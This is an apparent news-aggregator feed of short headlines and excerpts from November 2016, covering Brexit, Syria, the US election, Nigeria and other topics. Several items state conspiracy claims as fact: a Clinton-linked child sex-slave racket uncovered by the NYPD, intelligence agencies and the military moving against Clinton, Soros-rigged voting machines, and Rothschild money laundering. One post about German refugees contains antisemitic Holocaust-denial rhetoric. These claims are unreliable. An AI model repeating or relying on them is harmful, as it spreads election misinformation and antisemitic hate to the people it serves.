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Turns Out Humans Aren't The Only Animals That Farm--These Worms Do Too "IndyWatch Feed World"

Scientists have discovered that the marine ragworm grows its own food from seed.

Scientists have discovered that the marine ragworm grows its own food from seed.

Name an animal, other than humans, which farms its own food. Perhaps another primate? No. Some little-known marsupial that has been farming for millennia, undisturbed by man? Nope. What about a worm? Yes! Now an ordinary worm has been observed planting seeds, waiting for them to grow, and then eating the sprouts.

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21:29

30GB Bradley Foundation Data Hack Reveals $150 Million Hillary Campaign Donation David Icke latest headlines

‘The Hacker Group Anonymous has just released 30 Gigabytes of data it claims was hacked from the Bradley Foundation which apparently serves as a money laundering front between the Rothschild Asset management, Inc.and the Hillary Clinton campaign through the Clinton Foundation. And to nip any complaints about the Rothschilds conspiracy, Hillary discusses here ties in a Wall Street speech to Deutsche Bank just released by WikiLeaks: “We heard a similar point from a more global perspective this spring at a conference in London on inclusive capitalism organized by my friend, Lynn Rothschild, who’s here with us tonight. Mark Carney, the Governor of the Bank of England, offered what we in America might call straight talk about how the financial industry has lost its way and how to earn back public confidence.”’ Read more: 30GB Bradley Foundation Data Hack Reveals $150 Million Hillary Campaign Donation

21:29

Advanced Micro Devices, Inc.: Bearish Pressures Mounting in AMD Stock "IndyWatch Feed World"

By Patrick Brik, BAS

AMD Stock: Correction or Consolidation?
What an incredible year Advanced Micro Devices, Inc. (NASDAQ:AMD) stock is having! AMD stock is up 142% year-to-date, and this strength has been broad-based within the sector, as the semiconductor index is one of the best-performing sectors in 2016.

I have been bullish on AMD stock, and only recently have I voiced my concerns with regards to this recent run.

I use technical analysis as the framework for my investment analysis. This basis of analysis is heavily reliant on price and volume data..

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21:28

Marketing Your Website Prior to Black Friday "IndyWatch Feed Economics"

Black Friday is a huge shopping day that every e-commerce store owner should take advantage of. But rather than expecting customers to simply come to you, you need to properly market your site in order to generate the highest amount of interest and the highest amount of traffic possible. So in addition to making sure …

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New militant shelling strikes in Aleppo during humanitarian pause kill 127 people "IndyWatch Feed World"

Militants used the humanitarian pause, introduced by Moscow and Damascus in Aleppo, to launch attacks. They have shelled the city 64 times, killing 127 and wounding 254 residents during the week, according to the chief of the Russian General Staff Main Operational Directorate. "Over the past week, terrorists fired mortars and "hellfires" [improvised cannons] 64 times at western Aleppo. The shelling killed 127 and wounded 254 civilians," Lt. Gen. Sergei Rudskoi said Thursday. He added that on October 30, shells with toxic agents killed two Syrian servicemen and injured 37 civilians. A group of Russian experts from the radiation, chemical and biological defense units have arrived in Aleppo to take samples in the area where the chemical weapons were used, Rudskoi added.

21:26

Mohammed Rafi Protest in Mumbai is Yet Another Contrived Controversy Against a Big Bollywood Film "IndyWatch Feed Asia"

Who are these people – the ones who are so fundamentally insecure about whatever it is that they claim to love – that a movie’s name, dialogue or plot turns their devotion to agitation?

Protestors holding up signs. Credit: Tanul Thakur

Protestors holding up signs. Credit: Tanul Thakur

True protestors arrive early to protest. True protestors are well prepared. I met one such man on the evening of November 2, who had arrived more than half an hour early at Mohammed Rafi Chowk, in Bandra West, a Mumbai suburb, to protest against a dialogue in Karan Johar’s latest release, Ae Dil Hai Mushkil, which, according to him and many others, insults the singer.

Standing in front of a restaurant, whose yellow board had ‘pure veg’ written on it, the man, a real estate broker, asked me, “Have you seen a non-veg video of Karan Johar?” I hadn’t. So he made his cellphone meet my ear. It was a small video clip from a comedy show, hosted by the collective All India Bakchod, where Johar, along with Ranveer Singh and Arjun Kapoor, was singing a silly song full of profanities. The broker looked scandalised and then continued on to make conversation with two other protestors – all in their mid-fifties – about Johar’s video, his sexuality and the controversy surrounding his latest film.

The unfortunate association between controversies and Bollywood

Controversies – silly, frivolous and inane – have indeed been familiar to Bollywood films and filmmakers. In fact, no one has been spared the wrath of India’s offence factory. In November 2000, a few Vedic scholars in Varanasi got offended by a scene in Mohabbatein, where Amitabh Bachchan is reciting the Gayatri Mantra wearing shoes. In January 2009, armed guards were deployed outside theatres in Patna, as protesters threatened to burn effigies of Slumdog Millonaire’s director, Danny Boyle, because the word “dogs” was offensive to slum dwellers. Less than a month later, in February 2009,...

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Journey To Aleppo Part II: The REAL Syria Civil Defense & Aleppo Medical Association Are Real Syrians Helping Real Syrians "IndyWatch Feed Nthamerica"

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One of the “homes” occupied by the Nusra Front in the Sheikh Maqsoud region of Aleppo. (Photo: Vanessa Beeley)

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Vanessa Beeley meets with members of the Syria Civil Defense and the Aleppo Medical Association, who shed more light on the mainstream media lies distorting the public’s perception of what’s really happening in Syria.

Editor’s Note: This article is the second in a two-part series of one Western journalist’s journey to Aleppo, a city ravaged by an insurgency supported by the United States, NATO member states, and their allies in the Gulf states and Israel.

In Part I, Vanessa Beeley lays out the mainstream narrative on Syria, revealing a neoconservative agenda promoted by NATO-funded NGOs. These NGOs paint the destruction of the historic city as being caused by the Syrian government under Syrian President Bashar Assad, not the violent armed insurgents which receive arms, funding and training from Western governments and their allies in the Gulf and Israel.

Part II focuses on the suffering and resilience she encountered among the Syrian people in western Aleppo, an area that’s been under siege by the Nusra Front and other “moderate rebel” groups and “opposition forces” for the last four years. Read on ~

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Journey To Aleppo Part II: The REAL Syria Civil Defense & Aleppo Medical Association Are Real Syrians Helping Real Syrians "IndyWatch Feed World"

By Vanessa Beeley

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One of the “homes” occupied by the Nusra Front in the Sheikh Maqsoud region of Aleppo. (Photo: Vanessa Beeley)

Vanessa Beeley
Mint Press

Vanessa Beeley meets with members of the Syria Civil Defense and the Aleppo Medical Association, who shed more light on the mainstream media lies distorting the public’s perception of what’s really happening in Syria.

Editor’s Note: This article is the second in a two-part series of one Western journalist’s journey to Aleppo, a city ravaged by an insurgency supported by the United States, NATO member states, and their allies in the Gulf states and Israel.

In Part I, Vanessa Beeley lays out the mainstream narrative on Syria, revealing a neoconservative agenda promoted by NATO-funded NGOs. These NGOs paint the destruction of the historic city as being caused by the Syrian government under Syrian President Bashar Assad, not the violent armed insurgents which receive arms, funding and training from Western governments and their allies in the Gulf and Israel.

Part II focuses on the suffering and resilience she encountered among the Syrian people in western Aleppo, an area that’s been under siege by the Nusra Front and other “moderate rebel” groups and “opposition forces” for the last four years. Read on ~


Dr Zahar Buttal, Director of the Aleppo Medical Association next to photographs of previous Directors. West Aleppo. (Photo: Vanessa Beeley)

From the town of Bani Zaid in northern Aleppo, we made our way to the Aleppo Medical Association in the al-Azizia district of Aleppo.

We met with Dr. Zahar Buttal, the director, and Dr. Bassem Hayak, who heads the psychological and malnutritio...

21:22

DirectFB Returns Online "IndyWatch Feed Tech"

Over one year after the DirectFB project site disappeared and the code just appearing on GitHub, they have a project site restored but the development still appears rather dormant...

21:21

Susan Sarandon slams Clinton’s 'unconditional' support for Israel David Icke latest headlines

‘Susan Sarandon has just endorsed the Green Party’s Jill Stein in next Tuesday’s US presidential election. The Academy Award-winning actor previously backed Bernie Sanders, who lost the Democratic primary race to Hillary Clinton. But rather than fall into line behind the Democratic nominee, Sarandon has made clear why she won’t vote for Clinton.’ Read more: Susan Sarandon slams Clinton’s ‘unconditional’ support for Israel

21:21

FIRE-EARTH Alert: SFRK "IndyWatch Feed Enviro"

CJ Members FIRE-EARTH Alert: SFRK Details of the Alert are available from FIRE-EARTH PULSARS.  Filed under: News Alert Tagged: 001103, 3 November 2016, CJ Members, Fire-Earth Alert, FIRE-EARTH PULSARS, SFRK

21:20

High court says parliament must vote on triggering article 50 "IndyWatch Feed Politics.eu"

The High Court has put a spanner in the Brexit works by saying MP’s need to vote on triggering article 50. You can view more on this developing story here… A report by the BBC in June showed that the majority of MP’s support remain. Does this mean the end of Brexit?

21:18

Blacks 'seriously fucked in the head,' says top Democrat donor – leaked video David Icke latest headlines

‘A top Democratic donor was caught on video making insulting remarks about black voters who support Trump at a fundraising in North Carolina for US Senate candidate Deborah Ross. In the video, prominent Ross donor Benjamin Barber expresses his opinion about blacks who vote Republican by comparing them to Nazis.’ Read more: Blacks ‘seriously fucked in the head,’ says top Democrat donor – leaked video

21:17

IMPORTANT UPDATE RE: JILL HENNESSY "IndyWatch Feed National"

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IMPORTANT UPDATE RE: Jill Hennessy

Our political insider has revealed that many current Members of Parliament do not hold Jill in high regard.

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21:16

Pound Surges After UK Government Loses Article 50 Lawsuit; Brexit Needs Parliamentary Approval High Court Rules "IndyWatch Feed World"

By Tyler Durden

Moments ago, in a much anticipated decision, the UK High Court opined on the UK’s Brexit decision, and in a surprising loss for the government, it said that the Brexit question is purely legal and ruled against the government, stating that the the Article 50 trigger required Parliamentary approval.

The full judgment in the Article 50 case, as well as the summary just delivered in open court, online here https://t.co/ko9qwuvmXT

— Conor James McKinney (@mckinneytweets) November 3, 2016

The decision means that the U.K. must hold a vote in Parliament before starting the two-year countdown to Brexit, a panel of London judges decided, setting up a constitutional confrontation at the country’s Supreme Court. London judges deliver a decision that could be a setback for Prime Minister Theresa May’s plan to unilaterally start the process by the end of March by invoking Article 50 of the Lisbon Treaty.

U.K. Trade Secretary Liam Fox said “the government is disappointed by the court’s judgement.” adding that “The country voted to leave the European Union in a referendum established by an act of Parliament.” Speaking to lawmakers in the Hosue of Commons in London, Fox also said that “It’s right we consider it carefully before deciding how to proceed.”

Absent an overturn on appeal, lawmakers could now influence Theresa May’s approach to Brexit and if a majority is opposed it could theoretically delay or even stop the process. Mrs. May’s ruling Conservative Party is the largest party in Parliament, with a majority of 15 seats.

More details from Sky News, which explains that according to the ruling, Theresa May cannot trigger Brexit without putting it to an MPs’ vote in the House of Commons, the High Court has ruled.

The Government has lost its case that the Prime Minister had the right to act alone to trigger Article 50, the official EU divorce process. Mrs May is now exp...

21:15

Five reasons Hillary Clinton should be in prison David Icke latest headlines

‘Hillary Clinton’s crime sheet reads like that of an old mafia boss only with the added element of war crimes. Here is a list of the top five reasons she should be behind bars.’ Read more: Five reasons Hillary Clinton should be in prison

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US Government Preparing For Anarchy During And After The Election (Video) "IndyWatch Feed Economics"

US Government Preparing For Anarchy During And After The Election

US Government Preparing For Anarchy During And After The Election Obama’s new mandate to bring in minorities into law enforcement is now looking past criminal records and drug use. US decides not to sell weapons to the Phillipines. UN peace keeping force in Sudan is not protecting citizens. US not joing Normandy talks, NATO bringing…

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21:13

When children denounce corruption "IndyWatch Feed Politics.eu"

Children across the globe play football, many dreaming of becoming professionals and following their idols’ successful careers. Yet the sport's notorious and widespread corruption may have its roots at the youth levels. Português Español 

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Five weeks ago, El País published an unusual investigative report about a suspected fixed match that, one year earlier, interrupted our otherwise pleasant lives in Barcelona, Spain. It is largely thanks to the courage of six children, who agreed to recorded interviews with El País as part of its one-year investigation, that anyone knows the story of this controversial match.

As described in the article, on 30 May 2015, two teams – UE Cornellà and Gimnàstic Manresa – faced each other in the final match of the season in an elite youth category of Catalan football. This is a category in which, every week, the coaches prepare their players for the match with a “do or die” mentality, instructing them to “dejarse la piel” (literally “leave one’s skin behind”) on the field.

As such, this particular match between Cornellà and Manresa was sure to be an epic battle, because whoever won the game would earn first place in the division. There was every reason to expect the two teams to give every ounce of energy and sacrifice. After all, these were 14 and 15-year-old children who play football out of passion and pleasure, and for many at this elite level, out of hope of one day becoming a professional.

However, instead of an epic battle, those in attendance were witnesses to a match in which there were no goals scored, no cards given out, no corner kicks taken, and no shots attempted against the net of the opponent....

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Government Must Ask Parliament to Trigger Article 50, High Court Rules "IndyWatch Feed Politics.us"

Pro-Brexit demonstrators, calling on the British government to invoke article 50 immediately, and urging them not to hold a second referendum, shout slogans and hold placards as they protest outside the Houses of Parliament in London. Prime Minister Theresa May. Single market.

21:09

The Fix Is In: NBC Affiliate Accidentally Posts Election Results A Week Early: Hillary Wins Presidency 42% to Trump’s 40% "IndyWatch Feed Nthamerica"

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NBC affiliate WRCB TV in Chattanooga, Tennessee, has inadvertently posted election night results. The results page appears to be similar to what mainstream news networks display on election night, including Presidential and Congressional results, the popular vote count, electoral votes, and percentage of precincts reporting.

The page, a screen shot of which has been sourced from internet archive site The Wayback Machine, is posted below and shows totals for the upcoming Presidential race. It announces Hillary Clinton as the winner.

As Jim Stone notes, the page was pulled directly from the...

21:06

Hackers Hack Election Sign And Post Message "IndyWatch Feed Tech"

The electronic sign showed a message, but it was different from the one the owners intended to display. The blame has been directed at hackers who are thought to have reset the sign and made it show a message that was not favourable to democratic president Hillary Clinton. On three screens, the sign displayed the

The post Hackers Hack Election Sign And Post Message appeared first on Hacker News Bulletin | Find the Latest Hackers News.

21:06

Media Silent As Yemen Bombed & Starved By USA-UK Backed Coalition "IndyWatch Feed War"

Media Silent As Yemenis Bombed & Starved By US-UK Backed Coalition Many Yemenis blame the U.S. for the conflict in their country and the support it gives to Saudi Arabia’s deadly actions. The U.S. and U.K. backed Saudi coalition are playing a dangerous game of torture with the Yemeni people. The media in general remain […]

21:06

Igwe’s Mommy Is In America! Catch Up with Vera Ezimora on her “Verastic Life” Vlog with Episode 5 & 6 on BN TV "IndyWatch Feed Africa"

Lifestyle vlogger Vera Ezimora is out with new episodes of her vlog, Verastic Life. Today we’re playing catch up with Vera, as BN TV is giving you two of the vloggers latest episodes. Watch them below. Episode 5 – Nigerian In America Verastic Life #5: How I Do What I Do Episode 6 – Igwe’s Mommy Is In America! (Nigerian In America) […]

21:06

All 17 US Intelligence Agencies Say Hillary Must Go. US Military Are Ready To Back them Up. "IndyWatch Feed World"

By Gordon Logan

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Military Will Stand Up Against Hillary And Obama If They Have To

So the source of the Wikileaks e-mails is all 17 US intelligence agencies, not Putin. Steve Pieczenik, who leaked this, is a top insider and US government specialist in psychological warfare. He mentioned Saudi Arabia as Abedin’s controller. However he also briefly mentioned Israel, (which controls Saudi Arabia). The NYPD have just raided the Clintons and found evidence of a massive children’s sex slave racket connected to Jeff Epstein – so Hillary can expect more shocks on this new front. The intelligence agencies support Trump and will push to get Hillary to stand down. If she doesn’t there will be arrests of her entourage and they will support Trump’s campaign for mass protests to reject the rigged election. Trump has turnouts far in excess of Clinton’s. He can pull 50,000. Jim Stone has shown that George Soros has already rigged the voting machines in the swing states, so George may finally get arrested. In Israel Netanyahu’s days are numbered. This is another American Revolution. it will soon have ramifications in London. I believe this is massive. The NWO is on the skids. Meanwhile the UK’s controlled media continues to live in lalaland. – Gordon Logan

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Israeli paper claims ‘paranoid’ Netanyahu feared US super-software was rigging votes on election day David Icke latest headlines

‘Israeli Prime Minister Benjamin Netanyahu allegedly told a reporter via phone on the day of parliamentary elections that there was a US-led conspiracy to remove him from power by means of “super-software” to locate voters, Haaretz reported. According to the paper, Netanyahu spoke with “a senior Israeli journalist” on Election Day, March 17, 2015. “I want to tell you that what’s happening today is election stealing,” the PM reportedly told the journalist on the phone. “Nothing like this has ever happened in any democracy anywhere. Because you’re in the press, you didn’t report on this scandal here. I’m about to lose the election,” he added.’ Read more: Israeli paper claims ‘paranoid’ Netanyahu feared US super-software was rigging votes on election day

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Enigmatic Islamic State Chief Baghdadi Shuns Spotlight, Cultivates Mystery "IndyWatch Feed Politics.us"

This file image made from video posted on a militant website Saturday, July 5, 2014, which has been authenticated based on its contents and other AP reporting, purports to show the leader of the Islamic State group, Abu Bakr al-Baghdadi, delivering a sermon at a mosque in Iraq during his first public appearance.

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Pic: NDLEA Quizzes Four NAHCO Employees Over Drug Trafficking @ The International Airport, Abuja "IndyWatch Feed Africa"

Four employees of the Nigerian Aviation Handling Company Plc have been quizzed by the National Drug Law Enforcement Agency for their alleged involvement in a botched exportation of 144 kilogrammes of ephedrine to Maputo, Mozambique.

It was learnt that the suspects are the Chief Security Supervisor of NAHCO, Audu Garba, two security officers, Nasiru Ibrahim and Haruna Abdullahi, as well as a driver, Adamu Dasura.

It was learnt that one Victor Ahenje, a Load Controller, who was said to be on the run, has been declared wanted.

The suspects were alleged to have aided drug traffickers to hide the drug inside noodles and cartons containing relaxers and cereals.

The drug, was however, intercepted by the NDLEA operatives at the Nnamdi Azikiwe International Airport, Abuja, during the outward screening of shipment to be transported via an Ethiopian airline flight on Monday.

The NDLEA Commander at the Abuja airport, Hamisu Lawan, said the NAHCO officials worked at the cargo section of the airport and were currently being quizzed by investigators.

    ''We have commenced the interrogation of the workers of NAHCO in connection with the attempt to export 144kg of ephedrine to Maputo, Mozambique. Preliminary investigation suggests flagrant lapses on the part of NAHCO security. So far, they are cooperating with our team of investigators.'' Hamisu added.

The NDLEA Chairman, Col. Muhammad Abdallah (retd.) called for proper scrutiny of airport staff to prevent acts of sabotage and compromise capable of undermining national security.

He said, ''This is a suspected case of conspiracy involving workers within the airport community. The agency is investigating the level of involvement of the suspects under interrogation and anyone indicted shall be prosecuted.''

Abdallah added that efforts were ongoing to arrest Ahenje, who hails from Benue State, and called on members of the public to avail the agency with useful information that could lead to his arrest.

When contacted, a NAHCO official, who did not want his name in print because he was not authorised to speak on the case, directed a Punch correspondent to the Managing Director, Nobert Bielde...

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18 dead and dozens injured as trains collide in Karachi "IndyWatch Feed World"

At least 18 people were killed and more than 40 injured when two passenger trains collided Thursday morning near Karachi's Landi Railway Station, hospital officials said. Witnesses described watching in horror as Zakaria Express from Multan rammed into Fareed Express from Lahore, which was parked there, with the roar of the crash swiftly followed by the screams of people trapped inside. Railway officials gave green signal to the train coming from behind by mistake, and it went on to hit the train at rest, said Adviser to Sindh Chief Minister on Labour Senator Saeed Ghani.

21:02

Report Claims That Children as Young as Five Should be Given Access to Pornography David Icke latest headlines

Children in the UK as young as 5 should be given access to pornography a recent Dare2Care report is proposing. Labour MP Sarah Champion said in the report that children are watching porn anyway and this could lead to grooming and sexual abuse. Read more: Report Claims That Children as Young as Five Should be Given Access to Pornography

21:01

Brad Pitt’s Captivating Photographs Of Angelina Jolie "IndyWatch Feed Nthamerica"

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Brad Pitt needs no media introduction to the entertainment and showbiz lovers. He is legendarily known for his outstanding acting career in Hollywood and for his successful film productions that often make the headlines of entertainment news. He remains a unique personality in the celebrity world, and an ex-husband to Angelina Jolie. However, hardly anyone knows that he is an enthusiastic photographer, until recently.

Brad Pitt, who was approached by W Magazine some years back to take some extremely intimate photographs of his now ex-wife in different angles, has discovered his passion for photography, and he agreeably made that happen in the most classic way.

The series of photographs taken by Pitt has portrayed the uniqueness of one of the most beautiful and inspirational women on the planet.

Angelina Jolie, who in an exclusive interview, commended Brad Pitt’s passion for photography after her intimate portraits were released recently by W Magazine, she said:

“I love his photography. Some people have a hobby, and they find the quickest way to it and are very pleased with the outcome right away. But he’s someone who will really study the camera – he’ll get the most complicated one and really understand the science behind it. And he’s very critical of his own work.”

These are 19 intimate photographs of Angelina Jolie

long before their recent divorce.

21:01

Donald Trump’s vindictiveness would make him a dangerous president "IndyWatch Feed Politics.us"

To describe Trump as a man who holds grudges would be a vast understatement….


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5 Tricks the Gun Grabbers Play "IndyWatch Feed Politics.us"

There’s been little talk of gun control this presidential election cycle, although state-level proposals continue to make it onto state ballots. Gun control positions have come down along the usual partisan lines. It was clear from Clinton’s comments in the final presidential debate, for example, that she desires greater restrictions on access to firearms for […]

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Barrel Bomb: the Cataclysmic Close of Campaign 2016 "IndyWatch Feed Politics.us"

Well, here we are: at the bottom of the barrel under forty feet of slag. In a few days’ time, we’ll know our fate: the five-alarm fire of Trump Rule (oh, how those police unions are chomping at the bit!) or the Clinton Age of Hyper-War (oh, how those neocons are chomping at the bit!). […]

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Iran Sending Elite Fighters Into U.S., Europe "IndyWatch Feed Politics.us"

The Iranian Revolutionary Guards Corps, the country’s elite military force, is sending assets to infiltrate the United States and Europe at the direction of Iran’s Supreme Leader Ali Khamenei, according to recent Farsi-language comments from an Iranian military leader. The IRGC “will be in the U.S. and Europe very soon,” according to the Iranian military […]

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Here’s a list of all the World Series MVP winners from 1955 to 2016 "IndyWatch Feed Politics.us"

List of Most Valuable Player winners from Major League Baseball’s World Series. 2016 – Ben Zobrist (Chicago Cubs) 2015 – Salvador Perez (Kansas City Royals) 2014 – Madison Bumgarner (San Francisco Giants) 2013 – David Ortiz (Boston Red Sox) 2012 – Pablo Sandoval…


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21:01

The Threats Both U.S. Presidential Candidates Ignore "IndyWatch Feed War"

Podcast —far beyond Russia and Islamic State, the next American leader has their plate full

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TIDBIT: SPUTNIK CLAIMS ENERGY WEAPONS BASED ON “NEW PHYSICS ... "IndyWatch Feed War"

And in the light of today's main blog's reference to Mr. Dmitri Medvedev's statements a month before the Chelyabinsk meteor incident, when he stated…

The post TIDBIT: SPUTNIK CLAIMS ENERGY WEAPONS BASED ON “NEW PHYSICS ... appeared first on Giza Death Star.

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THE STRANGE DIVERSION OF A BRITISH AIRWAYS AIRBUS A380 "IndyWatch Feed War"

Mr. S.C. shared this story, and there's more questions here than answers, and I can't help but talk about it because of its possible…

The post THE STRANGE DIVERSION OF A BRITISH AIRWAYS AIRBUS A380 appeared first on Giza Death Star.

21:00

Apache Mesos Users Focus on Big Data, Containers "IndyWatch Feed Tech"

Mesosphere, the main commercial outfit behind the Apache Mesos datacenter and container orchestration project, has taken a good look at its user base and found that they gravitate toward a few fundamental use cases.

Survey data released recently by Mesosphere in the "Apache Mesos 2016 Survey Report," indicates that Mesos users focus on running containers at scale, using Mesos to deploy big data frameworks, and relying heavily on the core tool set that Mesos and DC/OS provide rather than using substitutes.

These Bleak Winter Photos Imagine A World Without Humans "IndyWatch Feed World"

A Polish photographer asks us to ponder our extinction through a series of eerie images.

A Polish photographer asks us to ponder our extinction through a series of eerie images.

On the coldest winter days, right after a heavy snowstorm—when no one else is likely to be outside—Poland-based photographer Kacper Kowalski climbs into a gyrocopter and starts flying 500 feet above the ground. He wants to imagine what the world would look like without people.

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20:59

CVE request:Lynx invalid URL parsing with '?' "IndyWatch Feed Tech"

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Vendor Notified: 2016-11-03

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20:58

John Dumelo, Pascal Amanfo, Evelyn Addo & More star in “If God Be For Us” | Watch the Trailer "IndyWatch Feed Africa"

Celebrated and Award-winning producer, Abdul Sallam Mumuni and his Venus Films Production are back yet again as they hit our silver screens with a new movie set for release this November. “If God Be For Us” features an amazing cast including Eddie Watson, Evelyn Addo, John Dumelo, Kalsoume Sinare, Alexander Osei, Pascal Amanfo and more. […]

20:57

Who Is This Man? "IndyWatch Feed Pacific"

    From: Graham Brimble: The plot thickens! This is amazing, a lot to be said for media taking sides.  Still think I wouldn’t want to vote for either candidate.   Have you ever heard of this person?   This is Edward “Ed” Mezvinsky, born January 17, 1937.You’ll probably say (as I did), “Who the hell […]

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Welcome to Islamic State/ Germany. Der Freitag Politik: “We Refugees are Fed up with You Angry Germans and Do not Want to Live in the Same Country as You. You Should Leave the Country”!!! And They Do! "IndyWatch Feed World"

By Gordon

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This provocative video was originally published for American consumption, and aimed primarily at undecided voters in the swing states of Nevada, North Carolina and Florida. It facetiously talks about ‘the infiltration of refugees’, which “has allowed our brave jihadi fighters to conquer, conform and convert Germany, extending our caliphate.”

Today, the voiceover says, radicals are free to “enjoy everything Germany has to offer,” from pleasant hikes in the Black Forest, to a pork- and alcohol-free Oktoberfest, to famous German cathedrals converted into Islamic star-and-crescent topped mosques. The video concludes by inviting Islamist extremists to ‘experience a new culture of Islam’ against the background of a Daesh livery jetliner.

This is the consequence of a system allowing everything – except for the last sin (Bishop Williamson): being a Nazi denying holocaust. You can deny Jesus Christ – even Allah – unpunished – but never ever the NWO religion: Holocaust´s postulated 6 mio. Jewish victims, bringing all the world into a debt to the Zionists which can never be atoned – although the 6 mio. a...

20:56

Saudi jailed for 15 years for supporting executed opposition cleric "IndyWatch Feed War"

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Local media said the man had 'sympathised' with Sheikh Nimr al-Nimr, an influential Shia cleric who was executed along with 46 others in January

20:55

Wolf Richter: Done in by Overcapacity, Stagnant World Trade, and China, Korean Shipbuilders Collapse on Top of Taxpayers "IndyWatch Feed Economics"

The ravaged shipbuilding industry in South Korea, deemed too big to fail, is getting its largest taxpayer bailout yet. More pain will follow.

20:55

The Case for “Disruptive Normality” "IndyWatch Feed Economics"

How should we prevent the social potential of sharing practices from being neutralized by the power of the neoliberal ideas and economy?

20:53

Shocking!! Gunmen Hold Judge, Lawyers Hostage In 3 Courts In Makurdi, Benue State "IndyWatch Feed Africa"

No fewer than 10 gunmen stormed three courts in Makurdi, the Benue State capital, on Wednesday, when they held a sitting judge hostage.

The gunmen, who shot into the air, caused panic in the capital city as residents fled in various directions.

The courts the gunmen invaded included Benue State High Court 9, Chief Magistrate’s Court and the Upper Area Court.

An eyewitness told Punch that the gunmen stormed the premises of the three courts which were about 500 meters away from state police headquarters around 8am.

It was gathered at the Benue State High Court 9 that the Presiding Judge, Justice Mary Abounu, who is the wife of the deputy governor, was already seated when the gunmen stormed her court and held her and the people in her court hostage.

   ''Actually, the first court the hoodlums visited was the Magistrate’s Court 1. They broke into the courtroom and the chambers, where they carted away one computer, a printer, a generator as well as files for various cases.'' Said Isaac Ajim, a magistrate.

Ajim said, ''After the criminals were done with my court, they proceeded to High Court 9, presided over by the wife of the deputy governor, Justice Mary Abounu and carted away a refrigerator, three stabilisers, a set of computer, window blinds and left behind empty bottles of drinks.''

At the Upper Area Court, the registrar, Sarah Gboji, described the invaders as robbers, saying, ''The thieves made away with N280,000.''

It was also gathered that the criminals after they had wreaked havoc, locked the courtrooms with the padlocks they brought with them.

Confirming the invasion, the Attorney General and Commissioner for Justice, Michael Gusa, who condemned the act, appealed to youths to always engage in meaningful ventures rather than indulge into criminality.

Gusa also urged Benue State youths to embrace the amnesty programme of the state governor instead of engaging in criminal activities.

He, however, assured that the perpetrators of the act would be fished out and punished appropriately.

Confirming the incident, the state Police Public Relations Officer, Moses Yamu, said three security guards had already been invited for interrogation.

He assured that the culprits would be arrested and made to face the wrath o...

20:52

Hillary and Bill Clinton: The «Bonnie and Clyde» of American Politics "IndyWatch Feed War"

Hillary and Bill Clinton: The «Bonnie and Clyde» of American Politics Wayne MADSEN | Whether the information originated from hacked e-mails and computer files or Freedom of Information Act requests, the revelations about the political and business activities of Hillary and Bill Clinton and their cronies hearken back to another era, the Great Depression of […]

20:50

Blogger Lola OJ is the Muse for Contemporary Womenswear Brand Xoxo | Lagos’ Debut “Cosmopolitan” Collection "IndyWatch Feed Africa"

Xoxo | Lagos is a contemporary brand conceptualized by sisters, Toluwani and Faidat. This campaign focuses on clean lines and pastel color combinations. For its debut campaign, creative director, Tolu Oyefuga, selected a collection full of fun and affordable cupboard staples. “Our vision for the brand is a fashionable fusion of fun, effortless style and class. From […]

20:50

Putting Democracy Above the Bottom Line "IndyWatch Feed Economics"

Democracy advocates in civil society and government have managed to push back against global corporations that influence public policy. But much of their progress hangs in the balance this month, when parties to the Framework Convention on Tobacco Control and the UN Framework Convention on Climate Change convene.

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Tearing up the Constitution to Wipe India Clean: How Haryana is Trying to End Open Defecation "IndyWatch Feed Asia"

The social objective is being converted into a writ that all must obey, with the state seeing citizens who are forced by poverty into open defecation as unsightly and inconvenient aberrations who must be bent and broken if need be.

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Rather than fund toilets for the poor, the Swachh Bharat cess is paying to implement an agenda that borders upon despotic. Credit: Reuters

An early morning walk in the Badagaon village in Haryana’s Karnal district reveals an unusual site. The government apparatus in the village is out in full strength and in a state of alertness that is not commonly associated with sarkari karmacharis. Anganwadi workers, ASHAs, school teachers, health officials, secretarial staff and elected panchayat representatives have all been up since the crack of dawn, bundled up against the cold and armed with whistles, torches and the occasional stick. They man posts at various points in the village under the watchful eyes of senior district and block officers. What is their daily mission? To locate those defecating in the open, blow whistles, shine torches and proceed to accost, shame, cajole and intimidate such people so that they would feel compelled to change their morning routine.

Conversations with the victims of these shamings and messages circulating on social media suggest these encounters are far from benign. Verbal abuse, pictures clicked in compromising positions and degrading treatment are common occurrences. One particularly disturbing video shows a government officer full of righteous indignation making a terrified youngster hold his ears, do sit-ups and promise never to go in the open again. The young boy is then grabbed by the hand and moved into brighter light and made to repeat this act of dehumanising submission for the benefit of the camera. In addition to the vigilantism of the local officialdom, those defecating in the open are subject to a Rs 500 fine that state officials have ‘facilitated’ the local panchayat to enact. This is not the work of a stray over-enthusiastic official. This is the frontline of the Haryana government’s systematic assault upon those w...

20:48

North Korea is an Pentagon Vassal State "IndyWatch Feed War"

If it weren’t for the fact that he is absolute dictator of a country with a formidable army and nuclear missile technology, North Korean President Kim Jong Un, the 290 pound, 32 year-old ruler would be a clown figure. Unfortunately for world peace, Kim Jong Un, while he is playing games with his rockets and…

20:47

Why “Computronium” is really “Unobtanium” "IndyWatch Feed Tech"

Computronium is defined by some as a substance which approaches the theoretical limit of computational power that we can achieve through engineering of the matter around us. It would mean that every atom of a piece of matter would be put to useful work doing computation. Such a system would reside at the ultimate limits of efficiency, and the smallest amount of energy possible would be wasted through the generation of heat. Computronium crops up in science fiction a lot, usually as something that advanced civilizations have created, occasionally causing conflicts due to intensive harvesting of matter from their galaxy to further their processing power. The idea is also also linked with advanced machine intelligence: A block of matter which does nothing other than compute could presumably would be incredibly sought after by any artificial intelligence looking to get the most compact and powerful brain for its money!

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20:47

These Glasses Fool Facial Recognition Into Thinking You’re Someone Else David Icke latest headlines

‘The glasses, recently described in this paper and featured on the excellent blog Prosthetic Knowledge, contain patterns on the front of the frames that obscure the identity of the wearer to facial recognition algorithms. For example, one of the researchers who developed the glasses, a white male, passed for actress Milla Jovovich. His colleague, a South-Asian female, successfully impersonated a Middle Eastern male. The glasses were developed to mislead facial recognition programs that use neural networks (a form of advanced machine learning that mimics the human brain), said researcher and co-creator Mahmood Sharif. The specs had a 90 percent success rate in fooling the facial recognition software Face++, which is used for detection, tracking, and analysis, such as noting a person’s age, gender, or identity.’ Read more: These Glasses Fool Facial Recognition Into Thinking You’re Someone Else

20:46

Physicists Accidently Discover a Self-Destruct Button for the Entire Universe "IndyWatch Feed Tech"

It sounds like a plot from a comic book or a sci-fi film, a theory that got a boost when one of the greatest discoveries in physics in the modern era, the discovery of the “God particle,” or the Higgs boson, the missing piece in the Standard Model of particle physics. In the preface to his book Starmus, Stephen Hawking warns that the Higgs Boson field could collapse, resulting in a chain reaction that would take in the whole universe with it.

